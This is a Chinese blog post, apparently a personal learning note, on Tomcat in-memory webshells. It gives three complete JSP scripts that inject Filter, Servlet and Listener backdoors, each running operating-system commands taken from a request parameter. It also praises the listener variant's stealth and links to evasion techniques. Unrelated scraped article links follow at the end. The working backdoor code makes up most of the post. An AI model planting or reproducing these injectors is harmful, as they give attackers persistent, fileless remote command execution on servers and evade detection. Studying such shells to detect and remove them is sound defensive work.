看了雷石的内存马深入浅出,就心血来潮看了看,由于本人java贼菜就不介绍原理了,本文有关知识都贴链接吧

前置知识

本次主要看的是tomcat的内存马,所以前置知识有下列

1.tomcat结构,tomcat和idea联动创建java_web

2.jsp简单语法结构

3.servlet基础

这些百度就行,不贴链接了,下面贴链接的都是,不容易百度到,或者知识体系和描述不一致的

内存马基础知识

1.内存马能够存在的三种形式:

https://mp.weixin.qq.com/s?__biz=MzIxMjEwNTc4NA==&mid=2652991099&idx=1&sn=a6c34bb344f105eb98fc6943c7439331&scene=21#wechat_redirect

2.filter型内存马实现流程

https://mp.weixin.qq.com/s/hev4G1FivLtqKjt0VhHKmw

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%
final String name = "fengxuan";
ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext); if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException { } @Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
//这里写上我们后门的主要代码
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
/*这是linux的,我主要用的windows的
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
*/
String command = req.getParameter("cmd");
//System.out.println(Arrays.toString(command));
InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");
String output = scanner.hasNext() ? scanner.next() : "";
servletResponse.getWriter().write(output);
servletResponse.getWriter().flush();
return;
}
//别忘记带这个,不然的话其他的过滤器可能无法使用
filterChain.doFilter(servletRequest,servletResponse);
} @Override
public void destroy() { }
}; FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName()); // 将filterDef添加到filterDefs中
standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap();
//拦截的路由规则,/* 表示拦截任意路由
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name,filterConfig);
out.print("注入成功");
}
%>

3.servlet内存马实现流程

原理这个讲的比较好:https://blog.csdn.net/angry_program/article/details/118492214

但是不得不说这里真的坑,我到写这篇记录都没搞定idea调试tomcat源码的操作

所以直接给大家源码吧

<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%!
public static class servletTest extends HttpServlet {
@Override
public void doGet(HttpServletRequest httpRequest, HttpServletResponse httpResponse) throws ServletException, IOException {
System.out.println("doGet被调用");
//servletResponse.getOutputStream().write("doGet被调用".getBytes()); if (httpRequest.getParameter("c") != null) {
System.out.println("eval");
//String[] command = new String[]{"sh", "-c", request.getParameter("c")};
String command = httpRequest.getParameter("c");
//System.out.println(Arrays.toString(command));
InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");
String output = scanner.hasNext() ? scanner.next() : "";
httpResponse.getOutputStream().write(output.getBytes());
httpResponse.getOutputStream().flush();
//servletResponse.getWriter().write(output);
//servletResponse.getWriter().flush(); }
} @Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
System.out.println("doPost被调用");
doGet(req, resp);
} @Override
public void init() throws ServletException {
System.out.println("servlet demo init!");
}
}
%>
<%
servletTest servlet=new servletTest();
// 一个小路径快速获得StandardContext,这两种都行,这个常用一点,不过我一直没找到request引的哪个包,坑!!!
// Field reqF = request.getClass().getDeclaredField("request");
// reqF.setAccessible(true);
// Request req = (Request) reqF.get(request);
// StandardContext stdcontext = (StandardContext) req.getContext(); // 获取StandardContext
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext stdcontext = (StandardContext)webappClassLoaderBase.getResources().getContext(); org.apache.catalina.Wrapper newWrapper = stdcontext.createWrapper();
String name = servlet.getClass().getSimpleName();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName()); // url绑定
stdcontext.addChild(newWrapper);
stdcontext.addServletMappingDecoded("/servlet", name);
System.out.print("注入成功"); %>

3.listener型内存马(非常推荐):

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%!
public class listenerDemo implements ServletRequestListener{
@Override
public void requestDestroyed(ServletRequestEvent sre){
System.out.println("linstener Destroyed!");
} @Override
public void requestInitialized(ServletRequestEvent sre){
System.out.println("linstener Initialized!");
String command = sre.getServletRequest().getParameter("fuck");
try {
Runtime.getRuntime().exec(command);
} catch (IOException e) {
e.printStackTrace();
} }
}
%>
<%
// 一个小路径快速获得StandardContext
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext(); listenerDemo listenerdemo = new listenerDemo();
context.addApplicationEventListener(listenerdemo);
%>

这个listener的形式优先级最高,代码量最小,而且由于servrlet的特性,每次都会销毁实例,隐蔽性更高一点点

绕过方式

https://mp.weixin.qq.com/s?__biz=MzIxMjEwNTc4NA==&mid=2652991099&idx=1&sn=a6c34bb344f105eb98fc6943c7439331&scene=21#wechat_redirect

“降维打击篇”以后部分,写得非常好。

剩余问题

1.tomcat源码在idea调试咋弄,有会的告我一下,跪求

2.其它容器中内存马实现方式

3.反序列化实现真正的无文件形式内存马:http://wjlshare.com/archives/1541

简单学习java内存马的更多相关文章

  1. 《深入理解 Java 虚拟机》学习 -- Java 内存模型

    <深入理解 Java 虚拟机>学习 -- Java 内存模型 1. 区别 这里要和 JVM 内存模型区分开来: JVM 内存模型是指 JVM 内存分区 Java 内存模型(JMM)是指一种 ...

  2. [Java初探08]__简单学习Java类和对象

    前言 在前面的学习中,我们对面向对象的编程思想有了一个基本的了解,并且简单的了解了类和对象的定义.那么类和对象在Java语言中是如何表现的,这次,就从实际出发,学习一下一下类和对象在Java语言中的使 ...

  3. 最简单的 Java内存模型 讲解

    前言 在网上看了很多文章,也看了好几本书中关于JMM的介绍,我发现JMM确实是Java中比较难以理解的概念.网上很多文章中关于JMM的介绍要么是照搬了一些书上的内容,要么就干脆介绍的就是错的.本文试着 ...

  4. JVM学习---JAVA内存

    一.JAVA运行时数据区域:JAVA中的运行时内存区域有的随着虚拟机进程的启动而存在,有的区域则是依赖用户线程的启动和结束而建立和销毁的.包括以下的几个区域. 图. JAVA虚拟机运行时数据区 1.程 ...

  5. Java虚拟机学习-Java内存区域(一)

    Java虚拟机内存划分为以下几个区域: 1.方法区:方法区是各个线程共享的内存区域,它用于存储已被虚拟机加载的类信息.常量.静态变量.即时编译器编译后的代码等数据.虽然Java虚拟机规范把方法区描述为 ...

  6. 简单认识JAVA内存划分

    Java的内存划分为五个部分 那么又是哪五个部分呢?跟着我往下看! 介绍: 每个程序运行都需要内存空间,所以Java也不例外:而Java把从计算机中申请的这一块内存又进行了划分!而所在目的是为了让程序 ...

  7. 针对spring mvc的controller内存马-学习和实验

    1 基础 实际上java内存马的注入已经有很多方式了,这里在学习中动手研究并写了一款spring mvc应用的内存马.一般来说实现无文件落地的java内存马注入,通常是利用反序列化漏洞,所以动手写了一 ...

  8. Java 内存分配全面浅析

    本文将由浅入深详细介绍Java内存分配的原理,以帮助新手更轻松的学习Java.这类文章网上有很多,但大多比较零碎.本文从认知过程角度出发,将带给读者一个系统的介绍. 进入正题前首先要知道的是Java程 ...

  9. Java内存分配全面浅析

    本文将由浅入深详细介绍Java内存分配的原理,以帮助新手更轻松的学习Java.这类文章网上有很多,但大多比较零碎.本文从认知过程角度出发,将带给读者一个系统的介绍. 进入正题前首先要知道的是Java程 ...

随机推荐

  1. 重新整理 .net core 实践篇—————配置系统之间谍[八](文件监控)

    前言 前文提及到了当我们的配置文件修改了,那么从 configurationRoot 在此读取会读取到新的数据,本文进行扩展,并从源码方面简单介绍一下,下面内容和前面几节息息相关. 正文 先看一下,如 ...

  2. npm基本用法及原理(10000+)

       作为前端开发者,应该每个人都用过npm,那么npm到底是什么东西呢?npm run,npm install的时候发生了哪些事情呢?下面做详细说明. 1.npm是什么 npm是JavaScript ...

  3. THINKPHP_(4)_TP模型中with、withJoin和多层关联的深入分析

    1.个人之前博文: TP模型的多表关联查询和多表字段的关键字搜索 TP6中实现多层关联,第一个表关联第二个表查询出的数据,再关联第三个表 2.withJoin的特性 2.1 第一个特性 在TP模型的多 ...

  4. 视频系列:RTX实时射线追踪(上)

    视频系列:RTX实时射线追踪(上) Video Series: Practical Real-Time Ray Tracing With RTX RTX在游戏和应用程序中引入了一个令人兴奋的和根本性的 ...

  5. h265player开发

    h265player开发 https://github.com/goldvideo/h265player 简介 随着视频编码技术的发展,相比H.264, H.265同等画质体积仅为一半.带宽占用省一半 ...

  6. 反应式系统实现MQTT客户机

    反应式系统实现MQTT客户机 Implementing an MQTT client for reactive systems MQTT Reactive是从LiamBindle的MQTT-C库派生的 ...

  7. 用Redis实现签到功能

    一.场景 在很多时候我们会遇到用户签到的场景,每天用户进入应用时,需要获取用户当天的签到状态,如果没签到,用户可以进行签到,并且得到相关的奖励.我们可能需要每天的签到情况,必要的时候可能还需要统计一下 ...

  8. Rethinking Training from Scratch for Object Detection

    Rethinking Training from Scratch for Object Detection 一. 概述 正常训练目标检测的流程分为以下几种: 在imagenet上进行预训练,然后在特定 ...

  9. 【UG二次开发】获取对象类型 UF_OBJ_ask_type_and_subtype

    代码: int type=0, subtype=0; UF_OBJ_ask_type_and_subtype(objTag, &type, &subtype);

  10. 【vim】常用总结

    简介 什么是vim? Linux下两大编辑神器之一 vim Linux/Unix下使用最多的编辑器 vi的改进版 可能是最难上手的编辑器之一 为什么要学习vim? 都21世纪了,为什么还需要学习vim ...